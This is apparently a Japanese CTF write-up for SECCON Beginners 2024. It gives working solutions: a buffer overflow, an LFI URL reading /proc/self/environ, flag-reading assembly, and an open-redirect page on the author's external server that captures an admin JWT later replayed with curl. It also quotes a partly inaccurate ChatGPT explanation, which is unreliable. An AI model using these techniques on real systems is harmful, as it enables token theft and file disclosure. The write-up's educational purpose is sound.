結果
Teamで解けた問題
自分が解いた順番は以下の通り
【welcome】Welcome
Point: 50 (928 Solved)
問題文
解説
Flag
ctf4b{Welcome_to_SECCON_Beginners_CTF_2024}
【misc】getRank
point: 59 (368 Solved)
問題文
解説
問題サイトには数字を0~9の数字を当て、当たると1pointが入るボタンと今現在のランクを確認するボタンが存在する。
コード全体
import fastify, { FastifyRequest } from "fastify";
import fs from "fs";
const RANKING = [10 ** 255, 1000, 100, 10, 1, 0];
type Res = {
rank: number;
message: string;
};
function ranking(score: number): Res {
const getRank = (score: number) => {
const rank = RANKING.findIndex((r) => score > r);
return rank === -1 ? RANKING.length + 1 : rank + 1;
};
const rank = getRank(score);
if (rank === 1) {
return {
rank,
message: process.env.FLAG || "fake{fake_flag}",
};
} else {
return {
rank,
message: `You got rank ${rank}!`,
};
}
}
function chall(input: string): Res {
if (input.length > 300) {
return {
rank: -1,
message: "Input too long",
};
}
let score = parseInt(input);
if (isNaN(score)) {
return {
rank: -1,
message: "Invalid score",
};
}
if (score > 10 ** 255) {
// hmm...your score is too big?
// you need a handicap!
for (let i = 0; i < 100; i++) {
score = Math.floor(score / 10);
}
}
return ranking(score);
}
const server = fastify();
server.get("/", (_, res) => {
res.type("text/html").send(fs.readFileSync("public/index.html"));
});
server.post(
"/",
async (req: FastifyRequest<{ Body: { input: string } }>, res) => {
const { input } = req.body;
const result = chall(input);
res.type("application/json").send(result);
}
);
server.listen(
{ host: "0.0.0.0", port: Number(process.env.PORT ?? 3000) },
(err, address) => {
if (err) {
console.error(err);
process.exit(1);
}
console.log(`Server listening at ${address}`);
}
);
ランキングの値はコード内に直で入力されているのを確認できる。
const RANKING = [10 ** 255, 1000, 100, 10, 1, 0];
つまり、1位のスコア10**255
を超える必要がある。
数字当てゲームでスコアを稼ぐのは現実的でないな~となる。
ランキング計算部分のコードに以下の記述を確認できる。
let score = parseInt(input);
Intにキャストされてるのが分かる(intの最大値は20億(2*10**9
)くらい)
しかし10**255
よりでかいのでハンディキャップがかかる。具体的には100桁くらい0がなくなる。つまり↑の例なら1e+156
となる。
if (score > 10 ** 255) {
// hmm...your score is too big?
// you need a handicap!
for (let i = 0; i < 100; i++) {
score = Math.floor(score / 10);
}
}
では桁を増やせば良いかというと次は以下のケースで弾かれる。
if (input.length > 300) {
return {
rank: -1,
message: "Input too long",
};
}
しかしparseIntには16進数文字列も渡せるのでその最大長を渡せば良い。
Infinityは10で割ってもInfinityなので制約に引っかからずにランキング1位になれる。
Flag
ctf4b{15_my_5c0r3_700000_b1g?}
【pwn】simpleoverflow
point: 50 (683 Solved)
問題
解説
コード全体
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
int main() {
char buf[10] = {0};
int is_admin = 0;
printf("name:");
read(0, buf, 0x10);
printf("Hello, %s\n", buf);
if (!is_admin) {
puts("You are not admin. bye");
} else {
system("/bin/cat ./flag.txt");
}
return 0;
}
__attribute__((constructor)) void init() {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
alarm(120);
}
is_adminがTrueになるときにflagが出力されることがコードから分かる。
ついでにis_adminはint型なのでint解釈可能な文字で該当領域を書き換えればよいと分かる。
asciiはint解釈可能なので適当にaを連続で入力すればOK。
Flag
ctf4b{0n_y0ur_m4rk}
【web】ssrforlfi
point: 113 (76 Solved)
問題
解説
問題サイト
?urlのクエリパラメータで指定したサイトを覗けそう。
これに関しては/proc/self/environ
を見たいなと言う気持ちが最初からあったのが勝因。
コード全体
mport os
import re
import subprocess
from flask import Flask, request
app = Flask(__name__)
@app.route("/")
def ssrforlfi():
url = request.args.get("url")
if not url:
return "Welcome to Website Viewer.<br><code>?url=http://example.com/</code>"
# Allow only a-z, ", (, ), ., /, :, ;, <, >, @, |
if not re.match('^[a-z"()./:;<>@|]*$', url):
return "Invalid URL ;("
# SSRF & LFI protection
if url.startswith("http://") or url.startswith("https://"):
if "localhost" in url:
return "Detected SSRF ;("
elif url.startswith("file://"):
path = url[7:]
if os.path.exists(path) or ".." in path:
return "Detected LFI ;("
else:
# Block other schemes
return "Invalid Scheme ;("
try:
# RCE ?
proc = subprocess.run(
f"curl '{url}'",
capture_output=True,
shell=True,
text=True,
timeout=1,
)
except subprocess.TimeoutExpired:
return "Timeout ;("
if proc.returncode != 0:
return "Error ;("
return proc.stdout
if __name__ == "__main__":
app.run(debug=True, host="0.0.0.0", port=4989)
コードを見るとhttp
やhttps
で始まる場合はlocalhost
にアクセスできないのでfileのschemeでlocalhostにアクセスしてホスト側の環境変数一覧を表示させたらFlagゲット。
https://ssrforlfi.beginners.seccon.games/?url=file://localhost/proc/self/environ
Flag
ctf4b{1_7h1nk_bl0ck3d_b07h_55rf_4nd_lf1}
【reversing】assemble
point: 82 (161 Solved)
問題
解説
Level 1 ~ 4までの問題をクリアするとFlagを取得することができる。基本的にサイトの指示通りにアセンブリを書くとOK。
Level 1
Challenge 1. Please write 0x123 to RAX!
1. Only mov, push, syscall instructions can be used.
2. The number of instructions should be less than 25.
answer
mov rax, 0x123
Level 2
Challenge 2. Please write 0x123 to RAX and push it on stack!
1. Only mov, push, syscall instructions can be used.
2. The number of instructions should be less than 25.
answer
mov rax, 0x123
push rax
Level 3
Challenge 3. Please use syscall to print Hello on stdout!
1. Only mov, push, syscall instructions can be used.
2. The number of instructions should be less than 25.
answer
mov rax, 0x6f6c6c6548
push rax
mov eax, 1
mov edi, 1
mov rsi, rsp
mov edx, 5
syscall
raxに詰める文字列が16進数なのと、リトルエンディアン形式で入力する必要があることに注意する必要がある。
Level 3 引っかかり要素
Level 3は例えば以下のようなassemblyを書くと出力は一見成功しているような状態になるが次のレベルに進めない状態になる。
mov rax, 'o'
push rax
mov rax, 'l'
push rax
mov rax, 'l'
push rax
mov rax, 'e'
push rax
mov rax, 'H'
push rax
mov eax, 1
mov edi, 1
mov rsi, rsp
mov edx, 40
syscall
pushは8byteずつなので文字列としてみるとHelloだがバイナリで見ると
[72, 0, 0, 0, 0, 0, 0, 0, 101, 0, 0, 0, 0, 0, 0, 0, 108, 0, 0, 0, 0, 0, 0, 0, 108, 0, 0, 0, 0, 0, 0, 0, 111, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0]
のような状態になっており、stdoutの中身が[H, \x00, \x00, \x00, \x00, \x00, \x00, \x00, e, ...]
のようになり失敗する。answer部分に書いたコードを実行すれば無事に実行できる。
Level 4
Challenge 4. Please read flag.txt file and print it to stdout!
1. Only mov, push, syscall instructions can be used.
2. The number of instructions should be less than 25.
answer
mov rax, 0x00
push rax
mov rax, 0x7478742e67616c66
push rax
mov rax, 2
mov rdi, rsp
mov rsi, 0
syscall
mov rdi, rax
mov rax, 0
mov rsi, rsp
mov rdx, 52
syscall
mov rax, 1
mov rdi, 1
mov rsi, rsp
mov rdx, 52
syscall
注意点
- null終端を渡さないとファイル文字列の終了をプログラム側が検知できないので適切な位置に0x00を入れる必要がある。
syscallの引数の確認は以下のサイトが超見やすかった。
https://chromium.googlesource.com/chromiumos/docs/+/master/constants/syscalls.md
Flag
ctf4b{gre4t_j0b_y0u_h4ve_m4stered_4ssemb1y_14ngu4ge}
【misc】clamre
point: 76 (198 Solved)
問題
解説
この問題は生成AIに質問を投げている部分がありますが、公式ルールで使用の制限などはありません。(参考↓)
https://discord.com/channels/829312472346918953/1249607044911202347/1251471663942336552
今回の問題ではソースコードは見てないです。以下のシグネチャを見てそれに合致する文字列がすなわち答えとなります。
ClamoraFlag;Engine:81-255,Target:0;1;63746634;0/^((\x63\x74\x66)(4)(\x62)(\{B)(\x72)(\x33)\3(\x6b1)(\x6e\x67)(\x5f)\3(\x6c)\11\10(\x54\x68)\7\10(\x480)(\x75)(5)\7\10(\x52)\14\11\7(5)\})$/
まず、ChatGPTに投げます。
GPT君の返信
このClamAVのシグネチャは、ウイルスやマルウェアのパターンを識別するためのルールを定義しています。以下はシグネチャの各部分の解釈です:
ClamoraFlag:これはシグネチャの名前です。ClamAVのスキャン結果にこの名前が表示されます。
Engine:81-255:このシグネチャは、エンジンバージョン81から255までの間で有効です。ClamAVのエンジンバージョンを指定しています。
Target:0;1:ターゲットタイプを指定しています。0はファイル、1は圧縮ファイルなどを意味します。
63746634:これはシグネチャのIDです。一意の識別子として使用されます。
0/:この部分は正規表現のフラグを意味します。0はバイナリモードでのスキャンを示しています。
^((\x63\x74\x66)(4)(\x62)({B)(\x72)(\x33)\3(\x6b1)(\x6e\x67)(\x5f)\3(\x6c)\11\10(\x54\x68)\7\10(\x480)(\x75)(5)\7\10(\x52)\14\11\7(5)})$/:
これは正規表現パターンで、ウイルスやマルウェアの特定のバイナリシーケンスを検出するために使用されます。
^:行の先頭に一致。
(\x63\x74\x66):ASCIIコードでctfに一致。
(4):数字の4に一致。
(\x62):ASCIIコードでbに一致。
({B):{Bに一致。
(\x72):ASCIIコードでrに一致。
(\x33):数字の3に一致。
\3:以前にマッチしたグループ3に再度一致。
(\x6b1):k1に一致。
(\x6e\x67):ngに一致。
(\x5f):アンダースコア _ に一致。
\3:以前にマッチしたグループ3に再度一致。
(\x6c):ASCIIコードでlに一致。
\11\10:以前にマッチしたグループ11とグループ10に一致。
(\x54\x68):Thに一致。
\7\10:以前にマッチしたグループ7とグループ10に一致。
(\x480):H0に一致。
(\x75):ASCIIコードでuに一致。
(5):数字の5に一致。
\7\10:以前にマッチしたグループ7とグループ10に一致。
(\x52):ASCIIコードでRに一致。
\14\11\7:以前にマッチしたグループ14、グループ11、グループ7に一致。
(5):数字の5に一致。
}$:行の末尾に一致。
このシグネチャは、特定のバイナリパターンを検出するために使用されるClamAVのルールの一部です。正規表現は複雑で、具体的なパターンを見つけるために設計されています。
「以前に一致したグループにマッチ」がうまく出来ていないようなのでそこを人力補完。GPT君にマウントを取って終了。これでFlagゲット。
Flag
ctf4b{Br34k1ng_4ll_Th3_H0u53_Rul35}
【web】wooorker2
point: 98 (106 Solved)
問題
解説
自分が提出したのがwooorker2なのでwooorkerについてはざっくり説明ですが、ログインでJWTトークンを使用した認証をしているので障害報告用のページで自分の用意したページへアクセスさせてクエリパラメータについたJWTトークンを取得してメインの問題サイト側でログインするとFlagが見えるというものでした。
差分としてはそのトークンが一般的なクエリパラメータの?ではなく#で付加されると言う部分が変更点となっていました。
const loginWorker = new Worker('login.js');
function login() {
const username = document.getElementById('username').value;
const password = document.getElementById('password').value;
document.getElementById('username').value = '';
document.getElementById('password').value = '';
loginWorker.postMessage({ username, password });
}
loginWorker.onmessage = function(event) {
const { token, error } = event.data;
if (error) {
document.getElementById('errorContainer').innerText = error;
return;
}
if (token) {
const params = new URLSearchParams(window.location.search);
const next = params.get('next');
if (next) {
window.location.href = next.includes('token=') ? next: `${next}#token=${token}`;
} else {
window.location.href = `/#token=${token}`;
}
}
};
URLにあるnextの値を自分が用意したアクセスを見る用のサーバーのドメインに変更した状態のサイトに再度アクセス。
usernameとpasswordはどちらもguestの状態でログイン。そうすると
ログインが成功した状態でJWTtokenが得られます。この時得たtokenはguestのtokenなので使用しません。成功が確認できたのでadminⅱアクセスしてもらうために障害報告用のページでlogin/?next=...を報告します。
するとややもするとアクセスが確認できます。
ただ、困ったことにtokenの値がないです。wooorkerの場合、ここでadminのtokenが?token=としてURLにくっついているのでその値を取得後、ログイン後のページの自分のURLについているtokenをadminのものと書き換えることでflagが取得できます。
では話を戻して、今回取得したい値#tokenはURLアンカーと呼ばれる形式です。なのでそれについて調べます。
この記事を参考に遷移後のページでjsを実行すれば良さそうです。
実際のコードが以下。
<html>
<script>
let abc = location.hash
window.location.href = location.hash.slice(1)
</script>
</html>
ブラウザで試すと分かるのですがwindow.location.hrefに#tokenを入れてもリダイレクトが発生しません。#を削ると遷移することを確認したので削っています。
あとはEC2か何かでサーバーを立ててhtmlを配置すれば、該当URLを用いて今までの手順で出来そうです。
今は動いていませんが実際に使ったURLは以下
login?next=http://ec2-52-194-223-74.ap-northeast-1.compute.amazonaws.com:3000/a.html
tokenをURLにつけても何故か上手くいかなかったので、取得したtokenをもとにcurlを投げてFlagゲット
/flagのサイトにアクセスしないといけない、などはコードから判断してください。
curl -X GET -H "Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiaXNBZG1pbiI6dHJ1ZSwiaWF0IjoxNzE4NDc0MTU0LCJleHAiOjE3MTg0Nzc3NTR9.YFy2LQlnrTuyIiitP7Emp7dZXwqPRX-MSnsVqo3TcLE" https://wooorker2.beginners.seccon.games/flag
ちなみにJWTなのでトークンの「◯.◯.◯」の真ん中部分をbase64でデコードすると中身が見えるのでis_adminがTrueであるかを確認して使うと良いです。expのtimestampで有効期限もわかります。
Flag
ctf4b{x55_50m371m35_m4k35_w0rk3r_vuln3r4bl3}
【reversing】cha-ll-enge
point: 65 (295 Solved)
問題
解説
以下の記事を読みましょう。参考文献のリンクに公式ドキュメントへのリンクなどもあります。
コード全体
@__const.main.key = private unnamed_addr constant [50 x i32] [i32 119, i32 20, i32 96, i32 6, i32 50, i32 80, i32 43, i32 28, i32 117, i32 22, i32 125, i32 34, i32 21, i32 116, i32 23, i32 124, i32 35, i32 18, i32 35, i32 85, i32 56, i32 103, i32 14, i32 96, i32 20, i32 39, i32 85, i32 56, i32 93, i32 57, i32 8, i32 60, i32 72, i32 45, i32 114, i32 0, i32 101, i32 21, i32 103, i32 84, i32 39, i32 66, i32 44, i32 27, i32 122, i32 77, i32 36, i32 20, i32 122, i32 7], align 16
@.str = private unnamed_addr constant [14 x i8] c"Input FLAG : \00", align 1
@.str.1 = private unnamed_addr constant [3 x i8] c"%s\00", align 1
@.str.2 = private unnamed_addr constant [22 x i8] c"Correct! FLAG is %s.\0A\00", align 1
@.str.3 = private unnamed_addr constant [16 x i8] c"Incorrect FLAG.\00", align 1
; Function Attrs: noinline nounwind optnone uwtable
define dso_local i32 @main() #0 {
%1 = alloca i32, align 4
%2 = alloca [70 x i8], align 16
%3 = alloca [50 x i32], align 16
%4 = alloca i32, align 4
%5 = alloca i32, align 4
%6 = alloca i64, align 8
store i32 0, i32* %1, align 4
%7 = bitcast [50 x i32]* %3 to i8*
call void @llvm.memcpy.p0i8.p0i8.i64(i8* align 16 %7, i8* align 16 bitcast ([50 x i32]* @__const.main.key to i8*), i64 200, i1 false)
%8 = call i32 (i8*, ...) @printf(i8* noundef getelementptr inbounds ([14 x i8], [14 x i8]* @.str, i64 0, i64 0))
%9 = getelementptr inbounds [70 x i8], [70 x i8]* %2, i64 0, i64 0
%10 = call i32 (i8*, ...) @__isoc99_scanf(i8* noundef getelementptr inbounds ([3 x i8], [3 x i8]* @.str.1, i64 0, i64 0), i8* noundef %9)
%11 = getelementptr inbounds [70 x i8], [70 x i8]* %2, i64 0, i64 0
%12 = call i64 @strlen(i8* noundef %11) #4
%13 = icmp eq i64 %12, 49
br i1 %13, label %14, label %48
14: ; preds = %0
store i32 0, i32* %4, align 4
store i32 0, i32* %5, align 4
store i64 0, i64* %6, align 8
br label %15
15: ; preds = %38, %14
%16 = load i64, i64* %6, align 8
%17 = icmp ult i64 %16, 49
br i1 %17, label %18, label %41
18: ; preds = %15
%19 = load i64, i64* %6, align 8
%20 = getelementptr inbounds [70 x i8], [70 x i8]* %2, i64 0, i64 %19
%21 = load i8, i8* %20, align 1
%22 = sext i8 %21 to i32
%23 = load i64, i64* %6, align 8
%24 = getelementptr inbounds [50 x i32], [50 x i32]* %3, i64 0, i64 %23
%25 = load i32, i32* %24, align 4
%26 = xor i32 %22, %25
%27 = load i64, i64* %6, align 8
%28 = add i64 %27, 1
%29 = getelementptr inbounds [50 x i32], [50 x i32]* %3, i64 0, i64 %28
%30 = load i32, i32* %29, align 4
%31 = xor i32 %26, %30
store i32 %31, i32* %5, align 4
%32 = load i32, i32* %5, align 4
%33 = icmp eq i32 %32, 0
br i1 %33, label %34, label %37
34: ; preds = %18
%35 = load i32, i32* %4, align 4
%36 = add nsw i32 %35, 1
store i32 %36, i32* %4, align 4
br label %37
37: ; preds = %34, %18
br label %38
38: ; preds = %37
%39 = load i64, i64* %6, align 8
%40 = add i64 %39, 1
store i64 %40, i64* %6, align 8
br label %15, !llvm.loop !6
41: ; preds = %15
%42 = load i32, i32* %4, align 4
%43 = icmp eq i32 %42, 49
br i1 %43, label %44, label %47
44: ; preds = %41
%45 = getelementptr inbounds [70 x i8], [70 x i8]* %2, i64 0, i64 0
%46 = call i32 (i8*, ...) @printf(i8* noundef getelementptr inbounds ([22 x i8], [22 x i8]* @.str.2, i64 0, i64 0), i8* noundef %45)
store i32 0, i32* %1, align 4
br label %50
47: ; preds = %41
br label %48
48: ; preds = %47, %0
%49 = call i32 @puts(i8* noundef getelementptr inbounds ([16 x i8], [16 x i8]* @.str.3, i64 0, i64 0))
store i32 1, i32* %1, align 4
br label %50
50: ; preds = %48, %44
%51 = load i32, i32* %1, align 4
ret i32 %51
}
コードを理解したら直で値が埋め込まれていてそこからflagを生成するロジックだと分かるので同様の処理をpythonで実装します。
key = [119, 20, 96, 6, 50, 80, 43, 28, 117, 22, 125, 34, 21, 116, 23, 124, 35, 18, 35, 85, 56, 103, 14, 96, 20, 39, 85, 56, 93, 57, 8, 60, 72, 45, 114, 0, 101, 21, 103, 84, 39, 66, 44, 27, 122, 77, 36, 20, 122, 7]
flag = [""]*50
for i in range(49, -1, -1):
if i == 49:
flag[i] = key[i]
else:
flag[i] = key[i]^key[i+1]
print("".join(map(chr,flag)))
これを実行してFlagゲット。
Flag
ctf4b{7ick_7ack_11vm_int3rmed14te_repr3sen7a7i0n}
最後に
解ける問題増やせるように精進精進…
発言は個人の見解に基づくものであり、所属組織を代表するものではありません